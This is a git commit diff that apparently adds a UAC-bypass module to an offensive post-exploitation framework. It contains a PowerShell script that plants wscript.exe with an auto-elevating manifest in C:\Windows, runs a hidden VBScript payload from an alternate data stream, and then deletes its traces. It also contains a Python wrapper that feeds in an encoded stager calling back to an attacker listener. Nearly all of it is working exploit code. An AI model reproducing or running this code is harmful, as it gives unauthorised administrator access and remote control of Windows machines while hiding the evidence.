added privesc/bypassuac_wscript
parent
29c923ab26
commit
d3fc5137d4
|
@ -0,0 +1,185 @@
|
|||
function Invoke-WScriptBypassUAC
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
|
||||
Performs the bypass UAC attack by abusing the lack of an embedded manifest in wscript.exe.
|
||||
|
||||
Author: @enigma0x3, @harmj0y, Vozzie
|
||||
License: BSD 3-Clause
|
||||
Required Dependencies: None
|
||||
Optional Dependencies: None
|
||||
|
||||
.DESCRIPTION
|
||||
|
||||
Drops wscript.exe and a custom manifest into C:\Windows and then proceeds to execute VBScript using the wscript executable
|
||||
with the new manifest. The VBScript executed by C:\Windows\wscript.exe will run elevated.
|
||||
|
||||
.PARAMETER payload
|
||||
The code you want wscript.exe to run elevated. Put the full command in quotes.
|
||||
|
||||
.EXAMPLE
|
||||
Invoke-WScriptBypass -payload "powershell.exe -ep Bypass -WindowStyle Hidden -enc <base64>"
|
||||
|
||||
.LINK
|
||||
http://seclist.us/uac-bypass-vulnerability-in-the-windows-script-host.html
|
||||
https://github.com/Vozzie/uacscript
|
||||
#>
|
||||
|
||||
[CmdletBinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
[string]
|
||||
$payload
|
||||
)
|
||||
|
||||
function Local:Get-TempFileName {
|
||||
#Generate Temporary File Name
|
||||
$sTempFolder = $env:Temp
|
||||
$sTempFolder = $sTempFolder + "\"
|
||||
$sTempFileName = [System.IO.Path]::GetRandomFileName() + ".tmp"
|
||||
$sTempFileName = $sTempFileName -split '\.',([regex]::matches($sTempFileName,"\.").count) -join ''
|
||||
$sTempFileNameFinal = $sTempFolder + $sTempFileName
|
||||
return $sTempFileNameFinal
|
||||
}
|
||||
|
||||
function Local:Invoke-CopyFile($sSource, $sTarget) {
|
||||
# Cab wscript, send to temp and then extract it from temp to $env:WINDIR
|
||||
$sTempFile = Get-TempFileName
|
||||
Start-Process -WindowStyle Hidden -FilePath "$($env:WINDIR)\System32\makecab.exe" -ArgumentList "$sSource $sTempFile"
|
||||
$null = wusa "$sTempFile" /extract:"$sTarget" /quiet
|
||||
|
||||
# sleep for 2 seconds to allow for extraction to finish
|
||||
Start-Sleep -s 2
|
||||
|
||||
# remove the temp files
|
||||
Remove-Item $sTempFile
|
||||
}
|
||||
|
||||
function Local:Invoke-WscriptTrigger {
|
||||
|
||||
$VBSfileName = [System.IO.Path]::GetRandomFileName() + ".vbs"
|
||||
$ADSFile = $VBSFileName -split '\.',([regex]::matches($VBSFileName,"\.").count) -join ''
|
||||
|
||||
$VBSPayload = "Dim objShell:"
|
||||
$VBSPayload += "Dim oFso:"
|
||||
$VBSPayload += "Set oFso = CreateObject(""Scripting.FileSystemObject""):"
|
||||
$VBSPayload += "Set objShell = WScript.CreateObject(""WScript.Shell""):"
|
||||
$VBSPayload += "command = ""$payload"":"
|
||||
$VBSPayload += "objShell.Run command, 0:"
|
||||
|
||||
# stupid command to kick off a background cmd process to delete the wscript and manifest
|
||||
$DelCommand = "$($env:WINDIR)\System32\cmd.exe /c """"start /b """""""" cmd /c """"timeout /t 5 >nul&&del $($env:WINDIR)\wscript.exe&&del $($env:WINDIR)\wscript.exe.manifest"""""""""
|
||||
$VBSPayload += "command = ""$DelCommand"":"
|
||||
$VBSPayload += "objShell.Run command, 0:"
|
||||
$VBSPayload += "Set objShell = Nothing"
|
||||
|
||||
$CreateWrapperADS = {cmd /C "echo $VBSPayload > ""$env:USERPROFILE\AppData:$ADSFile"""}
|
||||
Invoke-Command -ScriptBlock $CreateWrapperADS
|
||||
|
||||
$ExecuteScript = {cmd /C "$($env:WINDIR)\wscript.exe ""$env:USERPROFILE\AppData:$ADSFile"""}
|
||||
Invoke-Command -ScriptBlock $ExecuteScript
|
||||
Remove-ADS $env:USERPROFILE\AppData:$ADSFile
|
||||
}
|
||||
|
||||
function Local:Invoke-WscriptElevate {
|
||||
|
||||
$WscriptManifest =
|
||||
@"
|
||||
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||
<assembly xmlns="urn:schemas-microsoft-com:asm.v1"
|
||||
xmlns:asmv3="urn:schemas-microsoft-com:asm.v3"
|
||||
manifestVersion="1.0">
|
||||
<asmv3:trustInfo>
|
||||
<security>
|
||||
<requestedPrivileges>
|
||||
<requestedExecutionLevel level="RequireAdministrator" uiAccess="false"/>
|
||||
</requestedPrivileges>
|
||||
</security>
|
||||
</asmv3:trustInfo>
|
||||
<asmv3:application>
|
||||
<asmv3:windowsSettings xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">
|
||||
<autoElevate>true</autoElevate>
|
||||
<dpiAware>true</dpiAware>
|
||||
</asmv3:windowsSettings>
|
||||
</asmv3:application>
|
||||
</assembly>
|
||||
"@
|
||||
|
||||
# Copy and apply manifest to wscript.exe
|
||||
$sManifest = $env:Temp + "\wscript.exe.manifest"
|
||||
$WscriptManifest | Out-File $sManifest -Encoding UTF8
|
||||
|
||||
Invoke-CopyFile $sManifest $env:WINDIR
|
||||
|
||||
$WScriptPath = "$($env:WINDIR)\System32\wscript.exe"
|
||||
Invoke-CopyFile $WScriptPath $env:WINDIR
|
||||
Remove-Item -Force $sManifest
|
||||
|
||||
# execute the payload
|
||||
Invoke-WscriptTrigger
|
||||
}
|
||||
|
||||
function Local:Remove-ADS {
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Removes an alterate data stream from a specified location.
|
||||
P/Invoke code adapted from PowerSploit's Mayhem.psm1 module.
|
||||
Author: @harmj0y, @mattifestation
|
||||
License: BSD 3-Clause
|
||||
.LINK
|
||||
https://github.com/mattifestation/PowerSploit/blob/master/Mayhem/Mayhem.psm1
|
||||
#>
|
||||
[CmdletBinding()] Param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
[string]$ADSPath
|
||||
)
|
||||
|
||||
#region define P/Invoke types dynamically
|
||||
# stolen from PowerSploit https://github.com/mattifestation/PowerSploit/blob/master/Mayhem/Mayhem.psm1
|
||||
$DynAssembly = New-Object System.Reflection.AssemblyName('Win32')
|
||||
$AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run)
|
||||
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('Win32', $False)
|
||||
|
||||
$TypeBuilder = $ModuleBuilder.DefineType('Win32.Kernel32', 'Public, Class')
|
||||
$DllImportConstructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor(@([String]))
|
||||
$SetLastError = [Runtime.InteropServices.DllImportAttribute].GetField('SetLastError')
|
||||
$SetLastErrorCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor,
|
||||
@('kernel32.dll'),
|
||||
[Reflection.FieldInfo[]]@($SetLastError),
|
||||
@($True))
|
||||
|
||||
# Define [Win32.Kernel32]::DeleteFile
|
||||
$PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('DeleteFile',
|
||||
'kernel32.dll',
|
||||
([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static),
|
||||
[Reflection.CallingConventions]::Standard,
|
||||
[Bool],
|
||||
[Type[]]@([String]),
|
||||
[Runtime.InteropServices.CallingConvention]::Winapi,
|
||||
[Runtime.InteropServices.CharSet]::Ansi)
|
||||
$PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)
|
||||
|
||||
$Kernel32 = $TypeBuilder.CreateType()
|
||||
|
||||
$Result = $Kernel32::DeleteFile($ADSPath)
|
||||
|
||||
if ($Result){
|
||||
Write-Verbose "Alternate Data Stream at $ADSPath successfully removed."
|
||||
}
|
||||
else{
|
||||
Write-Verbose "Alternate Data Stream at $ADSPath removal failure!"
|
||||
}
|
||||
}
|
||||
|
||||
#make sure we are running on vulnerable windows version (vista,7)
|
||||
$OSVersion = [Environment]::OSVersion.Version
|
||||
if (($OSVersion -ge (New-Object 'Version' 6,0)) -and ($OSVersion -lt (New-Object 'Version' 6,2))){
|
||||
if(([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator") -eq $True){
|
||||
"[!] WARNING: You are already elevated!"
|
||||
}
|
||||
else {
|
||||
Invoke-WscriptElevate
|
||||
}
|
||||
}else{"[!] WARNING: Target Not Vulnerable"}
|
||||
}
|
|
@ -0,0 +1,110 @@
|
|||
from lib.common import helpers
|
||||
|
||||
class Module:
|
||||
|
||||
def __init__(self, mainMenu, params=[]):
|
||||
|
||||
self.info = {
|
||||
'Name': 'Invoke-WScriptBypassUAC',
|
||||
|
||||
'Author': ['@enigma0x3', '@harmyj0y', 'Vozzie'],
|
||||
|
||||
'Description': ("Drops wscript.exe and a custom manifest into C:\Windows "
|
||||
"and then proceeds to execute VBScript using the wscript executable"
|
||||
"with the new manifest. The VBScript executed by C:\Windows\wscript.exe will run elevated."),
|
||||
|
||||
'Background' : True,
|
||||
|
||||
'OutputExtension' : None,
|
||||
|
||||
'NeedsAdmin' : False,
|
||||
|
||||
'OpsecSafe' : False,
|
||||
|
||||
'MinPSVersion' : '2',
|
||||
|
||||
'Comments': [
|
||||
'http://seclist.us/uac-bypass-vulnerability-in-the-windows-script-host.html',
|
||||
'https://github.com/Vozzie/uacscript',
|
||||
]
|
||||
}
|
||||
|
||||
# any options needed by the module, settable during runtime
|
||||
self.options = {
|
||||
# format:
|
||||
# value_name : {description, required, default_value}
|
||||
'Agent' : {
|
||||
'Description' : 'Agent to run module on.',
|
||||
'Required' : True,
|
||||
'Value' : ''
|
||||
},
|
||||
'Listener' : {
|
||||
'Description' : 'Listener to use.',
|
||||
'Required' : True,
|
||||
'Value' : ''
|
||||
},
|
||||
'UserAgent' : {
|
||||
'Description' : 'User-agent string to use for the staging request (default, none, or other).',
|
||||
'Required' : False,
|
||||
'Value' : 'default'
|
||||
},
|
||||
'Proxy' : {
|
||||
'Description' : 'Proxy to use for request (default, none, or other).',
|
||||
'Required' : False,
|
||||
'Value' : 'default'
|
||||
},
|
||||
'ProxyCreds' : {
|
||||
'Description' : 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).',
|
||||
'Required' : False,
|
||||
'Value' : 'default'
|
||||
}
|
||||
}
|
||||
|
||||
# save off a copy of the mainMenu object to access external functionality
|
||||
# like listeners/agent handlers/etc.
|
||||
self.mainMenu = mainMenu
|
||||
|
||||
for param in params:
|
||||
# parameter format is [Name, Value]
|
||||
option, value = param
|
||||
if option in self.options:
|
||||
self.options[option]['Value'] = value
|
||||
|
||||
|
||||
def generate(self):
|
||||
|
||||
listenerName = self.options['Listener']['Value']
|
||||
|
||||
# staging options
|
||||
userAgent = self.options['UserAgent']['Value']
|
||||
proxy = self.options['Proxy']['Value']
|
||||
proxyCreds = self.options['ProxyCreds']['Value']
|
||||
|
||||
# read in the common module source code
|
||||
moduleSource = self.mainMenu.installPath + "/data/module_source/privesc/Invoke-WScriptBypassUAC.ps1"
|
||||
|
||||
try:
|
||||
f = open(moduleSource, 'r')
|
||||
except:
|
||||
print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
|
||||
return ""
|
||||
|
||||
moduleCode = f.read()
|
||||
f.close()
|
||||
|
||||
script = moduleCode
|
||||
|
||||
if not self.mainMenu.listeners.is_listener_valid(listenerName):
|
||||
# not a valid listener, return nothing for the script
|
||||
print helpers.color("[!] Invalid listener: " + listenerName)
|
||||
return ""
|
||||
else:
|
||||
# generate the PowerShell one-liner with all of the proper options set
|
||||
launcher = self.mainMenu.stagers.generate_launcher(listenerName, encode=True, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds)
|
||||
|
||||
if launcher == "":
|
||||
print helpers.color("[!] Error in launcher generation.")
|
||||
return ""
|
||||
else:
|
||||
script += "Invoke-WScriptBypassUAC -payload \"%s\"" % (launcher)
|
||||
return script
|
Loading…
Reference in New Issue